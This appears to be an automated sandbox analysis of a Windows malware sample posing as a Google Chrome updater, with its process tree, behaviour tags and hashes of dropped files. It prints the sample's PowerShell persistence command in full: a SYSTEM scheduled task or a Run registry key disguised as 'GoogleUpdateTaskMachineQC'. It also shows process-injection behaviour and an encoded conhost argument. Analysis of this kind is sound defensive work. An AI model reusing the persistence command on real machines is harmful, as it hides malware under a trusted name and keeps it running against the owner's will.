C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1472
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4264
-
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:4544
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4376 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1164
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3600
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor2⤵
- Detects videocard installed
PID:3924
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
467KB
MD505316ce82ca963e2f7a4a2c59c008ced
SHA176b6425b5e7d0b55fa18baa686023b5a58264134
SHA25677ab6aff341f0113ac324390dae796263085efcdfee703623f0dc4b7f66c31b4
SHA512259270e711690ac19f19c5ff6780fcfc6d3d422879f8389ad91270ec9afc817c115bb8d5da8f4942ab0e4a71ce89eb12cc38b31fd802dee59e776a52a7c62732
-
Filesize
1.1MB
MD55fc25dc1adac459706b92ee189c154d6
SHA13915e871a802cdfed5556b40fd3313deb94a4e6a
SHA2569b6107ec4ef6adb1667b260d0b09204126030395eaf53341ee70cb02e2589e6f
SHA5125735ba028618b268312792fb57ef342ece02292eb8bcdc670641d5375328871877457e1df4175c5b63ed70b62a735df35303610a01f823c357cd44c7507e8894
-
Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD52e907f77659a6601fcc408274894da2e
SHA19f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA51234fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
-
Filesize
1KB
MD56e9cdbac5e8c7d90023b76720d4f4d0f
SHA1a68e8f5efe301beaf571fafd14cde92e74e509f3
SHA256192cf22a9636a6b4c8a88c482709d0710fe1faf375254a1861590a8cc896fbf3
SHA512b809edbcc53f037ef6fe790b89043726e5c80d3213bdb92626bfb5ea68a1e4f285150c8c22cbabb978affb39498f6833ed104f78997484ea457a8b8807739a30
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5